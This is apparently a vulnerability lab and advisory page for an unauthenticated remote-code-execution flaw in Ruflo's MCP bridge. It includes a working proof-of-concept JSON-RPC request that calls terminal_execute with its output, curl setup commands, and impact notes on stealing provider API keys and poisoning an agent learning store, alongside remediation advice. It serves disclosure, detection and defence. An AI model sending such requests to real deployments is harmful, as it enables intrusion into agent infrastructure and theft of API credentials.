Ruflo < 3.16.3 - Unauthenticated RCE in MCP Bridge (terminal_execute via POST /mcp)
Run this lab
Lab not starting or behaving wrong? Report a problem with this lab
Summary
Ruflo (ruvnet/ruflo), an agent meta-harness for Claude Code and Codex, ships an MCP bridge in its default docker-compose deployment that exposes POST /mcp with no authentication, a wildcard CORS policy (Access-Control-Allow-Origin: *), and the HTTP server bound to all interfaces. The tool blocklist that should block the dangerous terminal_execute tool is enforced only in the autopilot flow, so a direct JSON-RPC tools/call to terminal_execute (and its per-group variant POST /mcp/:group) bypasses it. An unauthenticated network attacker can therefore run arbitrary OS commands as the node user (uid 1000) inside the bridge container, read provider API keys from the environment (OPENAI/GOOGLE/OPENROUTER/ANTHROPIC), spawn swarms on the victim's keys, and persist a poisoned pattern into the AgentDB learning store. Fixed in 3.16.3 (ADR-166 / PR #2521): loopback bind by default, Bearer auth middleware, a server-side executeTool gate for terminal_execute (opt-in MCP_ENABLE_TERMINAL), and a CORS allowlist.
Technical detail
Impact
An unauthenticated attacker who can reach port 3001 gains arbitrary command execution as the node user inside the bridge container (CVSS 10.0, scope-changed). This exposes provider API keys held in the container environment (OPENAI, GOOGLE, OPENROUTER, ANTHROPIC), lets the attacker spawn agent swarms billed to the victim's keys, and allows persisting a poisoned pattern into the AgentDB learning store that survives a patched redeploy. Combined with the MongoDB service also published by the default compose, the blast radius covers the chat data and learning store as well.
Exploitation & proof of concept
Unauthenticated RCE via MCP terminal_execute on POST /mcp
POST /mcp accepts JSON-RPC tools/call with no authentication and routes the call to executeTool without the autopilot-only blocklist, so terminal_execute reaches the ruflo backend and runs an arbitrary OS command.
POST /mcp HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"ruflo__terminal_execute","arguments":{"command":"id"}}}
HTTP/1.1 200 OK Content-Type: application/json {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"uid=1000(node) gid=1000(node)"}]}}
Nuclei detection: vt-2026-59726.nuclei.yaml
Remediation
- Upgrade Ruflo to 3.16.3 or later
- Bind the MCP bridge (3001) and MongoDB (27017) to loopback and/or firewall them off from untrusted networks
- Set MCP_AUTH_TOKEN so the bridge requires Bearer authentication, and leave MCP_ENABLE_TERMINAL unset/false
- Rotate OPENAI/GOOGLE/OPENROUTER/ANTHROPIC API keys and audit the AgentDB pattern store and MongoDB for tampering
Lab setup notes
- The MCP bridge is exposed unauthenticated at http://localhost:3001
- List tools: curl -s localhost:3001/mcp -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
- Trigger RCE: POST /mcp tools/call terminal_execute with {"command":"id"}